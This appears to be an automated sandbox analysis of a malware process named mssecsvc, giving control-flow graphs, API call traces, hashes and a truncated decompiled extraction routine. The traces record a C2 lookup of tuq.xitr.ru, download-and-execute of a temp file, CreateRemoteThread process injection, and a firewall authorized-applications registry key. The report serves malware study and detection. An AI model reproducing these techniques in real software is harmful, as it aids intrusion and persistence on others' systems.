                                                                                                control_flow_graph 906 7fea3eb5-7fea3ec8 LoadLibraryA call 7fea3ecc 910 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 906->910 911 7fea3f2f 906->911 917 7fea3f20 call 7fea3405 910->917 918 7fea3f25 910->918 912 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 911->912 913 7fea3f31-7fea3f49 CreateThread CloseHandle 911->913 925 7fea3ffa-7fea400b CreateEventA 912->925 926 7fea3fd3-7fea3ff8 CreateThread CloseHandle 912->926 913->912 917->918 918->911 927 7fea4012-7fea402a call 7fea37fa 925->927 926->925 930 7fea402c-7fea402f 927->930 931 7fea4031-7fea4044 call 7fea3b90 927->931 930->931 932 7fea404c-7fea4054 930->932 937 7fea404a 931->937 938 7fea42be-7fea42c5 931->938 934 7fea4056-7fea4063 lstrlen 932->934 935 7fea4065-7fea406e gethostbyname 932->935 934->934 934->935 939 7fea4074-7fea407b 935->939 940 7fea4315-7fea431b 935->940 941 7fea4081-7fea40a0 socket 937->941 942 7fea4320-7fea4322 RtlExitUserThread 938->942 943 7fea42c7-7fea42ce 938->943 939->941 940->927 941->938 944 7fea40a6-7fea40b9 connect 941->944 945 7fea42e2-7fea42e9 943->945 946 7fea42d0-7fea42dc SetEvent 943->946 947 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 944->947 948 7fea42b7-7fea42b8 closesocket 944->948 949 7fea42eb 945->949 950 7fea42f2-7fea4310 Sleep ResetEvent 945->950 946->945 961 7fea4170 947->961 962 7fea4195-7fea41a5 call 7fea3358 947->962 948->938 949->950 950->927 964 7fea4192-7fea4194 961->964 965 7fea4172-7fea418c wsprintfA 961->965 968 7fea41c3-7fea41ca 962->968 969 7fea41a7-7fea41bd CreateThread CloseHandle 962->969 964->962 965->964 966 7fea418e 965->966 966->964 970 7fea41d0-7fea41eb 968->970 969->968 972 7fea41ed-7fea41f4 970->972 973 7fea4210-7fea4214 970->973 972->973 974 7fea41f6-7fea4207 GetTickCount 972->974 973->948 975 7fea421a-7fea421c 973->975 974->973 976 7fea4209 974->976 977 7fea421e-7fea4236 975->977 976->973 978 7fea423b-7fea4243 977->978 979 7fea4238 977->979 978->977 980 7fea4245 978->980 979->978 981 7fea424b-7fea424f 980->981 982 7fea4261-7fea4263 981->982 983 7fea4251-7fea4258 call 7fea2f08 981->983 985 7fea4265-7fea426f 982->985 983->948 988 7fea425a 983->988 987 7fea4274-7fea4282 call 7fea6541 call 7fea655b 985->987 987->970 994 7fea4288-7fea4292 Sleep 987->994 988->985 990 7fea425c-7fea425f 988->990 990->981 994->987 995 7fea4294-7fea42a5 GetTickCount 994->995 995->970 996 7fea42ab-7fea42b2 995->996 996->948 996->970
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(7FEA3EA9), ref: 7FEA3EB5
                                                                                                  • Part of subcall function 7FEA3ECC: GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                                                                                                  • Part of subcall function 7FEA3ECC: GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,000000C8), ref: 7FEA3EE2
                                                                                                  • Part of subcall function 7FEA3ECC: wsprintfA.USER32 ref: 7FEA3EF7
                                                                                                  • Part of subcall function 7FEA3ECC: CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                                                                                                  • Part of subcall function 7FEA3ECC: CloseHandle.KERNEL32(?,BC0A3BDD), ref: 7FEA3F49
                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                                • connect.WS2_32(71757405,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                                • wsprintfA.USER32 ref: 7FEA4179
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcVersionconnectsocket
                                                                                                • String ID: -yX$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                • API String ID: 4150863296-1190828261
                                                                                                • Opcode ID: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                                                                                                • Instruction ID: a15a6457230e598bb6ef6cbbffa0e8635eaa4eb844119d8f0639b47af27d7a61
                                                                                                • Opcode Fuzzy Hash: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                                                                                                • Instruction Fuzzy Hash: A3A1FF71419348BFEB219F348C49BFA7BACEF41304F004659E84A9E092D6F66F05C7A2
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3ECC Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 265threadlibraryloaderCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 997 7fea3ecc-7fea3f1e GetProcAddress GetModuleFileNameA wsprintfA 999 7fea3f20 call 7fea3405 997->999 1000 7fea3f25-7fea3f2f 997->1000 999->1000 1003 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 1000->1003 1004 7fea3f31-7fea3f49 CreateThread CloseHandle 1000->1004 1012 7fea3ffa-7fea400b CreateEventA 1003->1012 1013 7fea3fd3-7fea3ff8 CreateThread CloseHandle 1003->1013 1004->1003 1014 7fea4012-7fea402a call 7fea37fa 1012->1014 1013->1012 1017 7fea402c-7fea402f 1014->1017 1018 7fea4031-7fea4044 call 7fea3b90 1014->1018 1017->1018 1019 7fea404c-7fea4054 1017->1019 1024 7fea404a 1018->1024 1025 7fea42be-7fea42c5 1018->1025 1021 7fea4056-7fea4063 lstrlen 1019->1021 1022 7fea4065-7fea406e gethostbyname 1019->1022 1021->1021 1021->1022 1026 7fea4074-7fea407b 1022->1026 1027 7fea4315-7fea431b 1022->1027 1028 7fea4081-7fea40a0 socket 1024->1028 1029 7fea4320-7fea4322 RtlExitUserThread 1025->1029 1030 7fea42c7-7fea42ce 1025->1030 1026->1028 1027->1014 1028->1025 1031 7fea40a6-7fea40b9 connect 1028->1031 1032 7fea42e2-7fea42e9 1030->1032 1033 7fea42d0-7fea42dc SetEvent 1030->1033 1034 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 1031->1034 1035 7fea42b7-7fea42b8 closesocket 1031->1035 1036 7fea42eb 1032->1036 1037 7fea42f2-7fea4310 Sleep ResetEvent 1032->1037 1033->1032 1048 7fea4170 1034->1048 1049 7fea4195-7fea41a5 call 7fea3358 1034->1049 1035->1025 1036->1037 1037->1014 1051 7fea4192-7fea4194 1048->1051 1052 7fea4172-7fea418c wsprintfA 1048->1052 1055 7fea41c3-7fea41ca 1049->1055 1056 7fea41a7-7fea41bd CreateThread CloseHandle 1049->1056 1051->1049 1052->1051 1053 7fea418e 1052->1053 1053->1051 1057 7fea41d0-7fea41eb 1055->1057 1056->1055 1059 7fea41ed-7fea41f4 1057->1059 1060 7fea4210-7fea4214 1057->1060 1059->1060 1061 7fea41f6-7fea4207 GetTickCount 1059->1061 1060->1035 1062 7fea421a-7fea421c 1060->1062 1061->1060 1063 7fea4209 1061->1063 1064 7fea421e-7fea4236 1062->1064 1063->1060 1065 7fea423b-7fea4243 1064->1065 1066 7fea4238 1064->1066 1065->1064 1067 7fea4245 1065->1067 1066->1065 1068 7fea424b-7fea424f 1067->1068 1069 7fea4261-7fea4263 1068->1069 1070 7fea4251-7fea4258 call 7fea2f08 1068->1070 1072 7fea4265-7fea426f 1069->1072 1070->1035 1075 7fea425a 1070->1075 1074 7fea4274-7fea4282 call 7fea6541 call 7fea655b 1072->1074 1074->1057 1081 7fea4288-7fea4292 Sleep 1074->1081 1075->1072 1077 7fea425c-7fea425f 1075->1077 1077->1068 1081->1074 1082 7fea4294-7fea42a5 GetTickCount 1081->1082 1082->1057 1083 7fea42ab-7fea42b2 1082->1083 1083->1035 1083->1057
                                                                                                APIs
                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                                                                                                • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,000000C8), ref: 7FEA3EE2
                                                                                                • wsprintfA.USER32 ref: 7FEA3EF7
                                                                                                • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                                                                                                • CloseHandle.KERNEL32(?,BC0A3BDD), ref: 7FEA3F49
                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                                  • Part of subcall function 7FEA3405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                                                                                                  • Part of subcall function 7FEA3405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                                                                                                  • Part of subcall function 7FEA3405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                                                                                                  • Part of subcall function 7FEA3405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                                                                                                  • Part of subcall function 7FEA3405: UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmapwsprintf
                                                                                                • String ID: -yX$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                • API String ID: 541178049-1190828261
                                                                                                • Opcode ID: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                                                                                                • Instruction ID: d9e398f0cb57442fd0ba00def27d3fe33590f3ea382637dc010686527708efc5
                                                                                                • Opcode Fuzzy Hash: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                                                                                                • Instruction Fuzzy Hash: 65A10071408348BFEB219F348C49BEA7BACEF81304F004659E84A9E091D7F66F05C7A1
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3F60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 215librarystringthreadCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 1214 7fea3f60-7fea3f73 LoadLibraryA 1215 7fea3f7e-7fea3fd1 call 7fea3f8f 1214->1215 1216 7fea3f79 call 7fea10ce 1214->1216 1220 7fea3ffa-7fea400b CreateEventA 1215->1220 1221 7fea3fd3-7fea3ff8 CreateThread CloseHandle 1215->1221 1216->1215 1222 7fea4012-7fea402a call 7fea37fa 1220->1222 1221->1220 1225 7fea402c-7fea402f 1222->1225 1226 7fea4031-7fea4044 call 7fea3b90 1222->1226 1225->1226 1227 7fea404c-7fea4054 1225->1227 1232 7fea404a 1226->1232 1233 7fea42be-7fea42c5 1226->1233 1229 7fea4056-7fea4063 lstrlen 1227->1229 1230 7fea4065-7fea406e gethostbyname 1227->1230 1229->1229 1229->1230 1234 7fea4074-7fea407b 1230->1234 1235 7fea4315-7fea431b 1230->1235 1236 7fea4081-7fea40a0 socket 1232->1236 1237 7fea4320-7fea4322 RtlExitUserThread 1233->1237 1238 7fea42c7-7fea42ce 1233->1238 1234->1236 1235->1222 1236->1233 1239 7fea40a6-7fea40b9 connect 1236->1239 1240 7fea42e2-7fea42e9 1238->1240 1241 7fea42d0-7fea42dc SetEvent 1238->1241 1242 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 1239->1242 1243 7fea42b7-7fea42b8 closesocket 1239->1243 1244 7fea42eb 1240->1244 1245 7fea42f2-7fea4310 Sleep ResetEvent 1240->1245 1241->1240 1256 7fea4170 1242->1256 1257 7fea4195-7fea41a5 call 7fea3358 1242->1257 1243->1233 1244->1245 1245->1222 1259 7fea4192-7fea4194 1256->1259 1260 7fea4172-7fea418c wsprintfA 1256->1260 1263 7fea41c3-7fea41ca 1257->1263 1264 7fea41a7-7fea41bd CreateThread CloseHandle 1257->1264 1259->1257 1260->1259 1261 7fea418e 1260->1261 1261->1259 1265 7fea41d0-7fea41eb 1263->1265 1264->1263 1267 7fea41ed-7fea41f4 1265->1267 1268 7fea4210-7fea4214 1265->1268 1267->1268 1269 7fea41f6-7fea4207 GetTickCount 1267->1269 1268->1243 1270 7fea421a-7fea421c 1268->1270 1269->1268 1271 7fea4209 1269->1271 1272 7fea421e-7fea4236 1270->1272 1271->1268 1273 7fea423b-7fea4243 1272->1273 1274 7fea4238 1272->1274 1273->1272 1275 7fea4245 1273->1275 1274->1273 1276 7fea424b-7fea424f 1275->1276 1277 7fea4261-7fea4263 1276->1277 1278 7fea4251-7fea4258 call 7fea2f08 1276->1278 1280 7fea4265-7fea426f 1277->1280 1278->1243 1283 7fea425a 1278->1283 1282 7fea4274-7fea4282 call 7fea6541 call 7fea655b 1280->1282 1282->1265 1289 7fea4288-7fea4292 Sleep 1282->1289 1283->1280 1285 7fea425c-7fea425f 1283->1285 1285->1276 1289->1282 1290 7fea4294-7fea42a5 GetTickCount 1289->1290 1290->1265 1291 7fea42ab-7fea42b2 1290->1291 1291->1243 1291->1265
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(7FEA3F54), ref: 7FEA3F60
                                                                                                  • Part of subcall function 7FEA3F8F: LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                                                                                                  • Part of subcall function 7FEA3F8F: WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                                                                                                  • Part of subcall function 7FEA3F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                                  • Part of subcall function 7FEA3F8F: CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                                  • Part of subcall function 7FEA3F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                                  • Part of subcall function 7FEA3F8F: socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                                  • Part of subcall function 7FEA3F8F: connect.WS2_32(71757405,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                                  • Part of subcall function 7FEA3F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                                • lstrlen.KERNEL32(tuq.xitr.ru,?,00000000), ref: 7FEA4057
                                                                                                • gethostbyname.WS2_32(tuq.xitr.ru), ref: 7FEA4066
                                                                                                • wsprintfA.USER32 ref: 7FEA4179
                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003819,71757405,00000000), ref: 7FEA41B4
                                                                                                • CloseHandle.KERNEL32(?,00000000,71757405,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                                                                                                • GetTickCount.KERNEL32 ref: 7FEA41F6
                                                                                                Strings
                                                                                                • C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe, xrefs: 7FEA4195, 7FEA41DB
                                                                                                • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                                • -yX, xrefs: 7FEA414F
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: Create$CloseHandleLibraryLoadThread$CountEventStartupTickVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                                • String ID: -yX$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE
                                                                                                • API String ID: 2996464229-2657944509
                                                                                                • Opcode ID: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                                                                                                • Instruction ID: 9d7a0edf8395d02bdb3222331a00bfe847c5167623d17b4b3927ccf0a8489e01
                                                                                                • Opcode Fuzzy Hash: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                                                                                                • Instruction Fuzzy Hash: 5381FE71508388BFEB228F348C59BEA7BADEF41304F040659E84A9E091C7F66F45C762
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA07AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                  • Part of subcall function 7FEA144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                                  • Part of subcall function 7FEA144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                                • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                                • FreeLibrary.KERNEL32(73E60000,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07B8
                                                                                                • CloseHandle.KERNEL32(?,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07BF
                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                                                                                                • Process32First.KERNEL32 ref: 7FEA07DC
                                                                                                • Process32Next.KERNEL32 ref: 7FEA07ED
                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                                                                                                • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                                                                                                • CloseHandle.KERNEL32 ref: 7FEA086C
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseHandle$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                                                                                                • String ID: csrs
                                                                                                • API String ID: 3908997113-2321902090
                                                                                                • Opcode ID: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                                                                                                • Instruction ID: 84bb5cd5c05f80c9023c3546aa49ac891d3b4ee2c4a24ef2c536b510610674c9
                                                                                                • Opcode Fuzzy Hash: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                                                                                                • Instruction Fuzzy Hash: 59113D30502205BBEB255F31CD49BBF3A6DEF44711F00016CFE4B9E081DAB69B018AAA
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA2768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • GetTempPathA.KERNEL32(00000104), ref: 7FEA278C
                                                                                                  • Part of subcall function 7FEA27A7: GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                                                                                                  • Part of subcall function 7FEA27A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                                                                                                  • Part of subcall function 7FEA27A7: InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                                                                                                  • Part of subcall function 7FEA27A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                                                                                                  • Part of subcall function 7FEA27A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                                                                                                  • Part of subcall function 7FEA27A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                                                                                                  • Part of subcall function 7FEA27A7: InternetCloseHandle.WININET(?), ref: 7FEA2833
                                                                                                • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                                                                                                • String ID:
                                                                                                • API String ID: 1995088466-0
                                                                                                • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                                • Instruction ID: c1ca02f886126752e6f21441145c1cc666a01a53b77e18b91c733c89828b9d16
                                                                                                • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                                • Instruction Fuzzy Hash: A821C0B1145306BFE7215A20CC8AFFF3A6DEF95B10F000119FA4AAD081D7B29B15C6A6
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA10CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • GetModuleHandleA.KERNEL32(0157FDE0), ref: 7FEA113D
                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA11D6), ref: 7FEA1148
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressHandleModuleProc
                                                                                                • String ID: .DLL
                                                                                                • API String ID: 1646373207-899428287
                                                                                                • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                                • Instruction ID: 2f73ade5318114d7e9bf37e66f68aeb85e6b2a503a621854e5f62f64a3af89c8
                                                                                                • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                                • Instruction Fuzzy Hash: D701D634607104EACB538E38C845BFE3B7EFF14275F004115D91A8F159C77A9A508F95
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Non-executed Functions

                                                                                                Function 00406C40 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365COMMONCrypto
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 75%
                                                                                                			E00406C40(intOrPtr* __ecx, void* __edx, intOrPtr _a4, void* _a8, signed int _a11) {
				signed int _v5;
				signed char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				char _v44;
				unsigned int _v72;
				intOrPtr _v96;
				intOrPtr _v100;
				unsigned int _v108;
				unsigned int _v124;
				char _v384;
				char _v644;
				char _t142;
				char _t150;
				void* _t151;
				signed char _t156;
				long _t173;
				signed char _t185;
				signed char* _t190;
				signed char* _t194;
				intOrPtr* _t204;
				signed int _t207;
				signed int _t208;
				intOrPtr* _t209;
				unsigned int _t210;
				char _t212;
				signed char _t230;
				signed int _t234;
				signed char _t238;
				void* _t263;
				unsigned int _t264;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				intOrPtr _t272;
				char* _t274;
				unsigned int _t276;
				signed int _t277;
				void* _t278;
				intOrPtr* _t280;
				void* _t281;
				intOrPtr _t282;

				_t263 = __edx;
				_t213 = __ecx;
				_t272 = _a4;
				_t208 = _t207 | 0xffffffff;
				_t280 = __ecx;
				_v24 = __ecx;
				if(_t272 < _t208) {
					L61:
					return 0x10000;
				}
				_t131 =  *__ecx;
				if(_t272 >=  *((intOrPtr*)( *__ecx + 4))) {
					goto L61;
				}
				if( *((intOrPtr*)(__ecx + 4)) != _t208) {
					E00406A97(_t131);
					_pop(_t213);
				}
				 *(_t280 + 4) = _t208;
				if(_t272 !=  *((intOrPtr*)(_t280 + 0x134))) {
					if(_t272 != _t208) {
						_t132 =  *_t280;
						if(_t272 >=  *( *_t280 + 0x10)) {
							L12:
							_t133 =  *_t280;
							if( *( *_t280 + 0x10) >= _t272) {
								E004064BB( *_t280,  &_v124,  &_v384, 0x104, 0, 0, 0, 0);
								if(L0040657A(_t213, _t263,  *_t280,  &_v44,  &_v20,  &_v16) == 0) {
									_t142 = E00405D0E( *((intOrPtr*)( *_t280)), _v20, 0);
									if(_t142 != 0) {
										L19:
										return 0x800;
									}
									_push(_v16);
									L00407700();
									_v12 = _t142;
									if(L00405D8A(_t142, 1, _v16,  *((intOrPtr*)( *_t280))) == _v16) {
										_t281 = _a8;
										 *_t281 =  *( *_t280 + 0x10);
										strcpy( &_v644,  &_v384);
										_t209 = __imp___mbsstr;
										_t274 =  &_v644;
										while(1) {
											L21:
											_t150 =  *_t274;
											if(_t150 != 0 && _t274[1] == 0x3a) {
												break;
											}
											if(_t150 == 0x5c || _t150 == 0x2f) {
												_t274 =  &(_t274[1]);
												continue;
											} else {
												_t151 =  *_t209(_t274, "\\..\\");
												if(_t151 != 0) {
													L31:
													_t39 = _t151 + 4; // 0x4
													_t274 = _t39;
													continue;
												}
												_t151 =  *_t209(_t274, "\\../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/..\\");
												if(_t151 == 0) {
													strcpy(_t281 + 4, _t274);
													_t264 = _v72;
													_a11 = _a11 & 0x00000000;
													_v5 = _v5 & 0x00000000;
													_t156 = _t264 >> 0x0000001e & 0x00000001;
													_t230 =  !(_t264 >> 0x17) & 0x00000001;
													_t276 = _v124 >> 8;
													_t210 = 1;
													if(_t276 == 0 || _t276 == 7 || _t276 == 0xb || _t276 == 0xe) {
														_a11 = _t264 >> 0x00000001 & 0x00000001;
														_t230 = _t264 & 0x00000001;
														_v5 = _t264 >> 0x00000002 & 0x00000001;
														_t156 = _t264 >> 0x00000004 & 0x00000001;
														_t264 = _t264 >> 0x00000005 & 0x00000001;
														_t210 = _t264;
													}
													_t277 = 0;
													 *(_t281 + 0x108) = 0;
													if(_t156 != 0) {
														 *(_t281 + 0x108) = 0x10;
													}
													if(_t210 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000020;
													}
													if(_a11 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000002;
													}
													if(_t230 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000001;
													}
													if(_v5 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000004;
													}
													 *((intOrPtr*)(_t281 + 0x124)) = _v100;
													 *((intOrPtr*)(_t281 + 0x128)) = _v96;
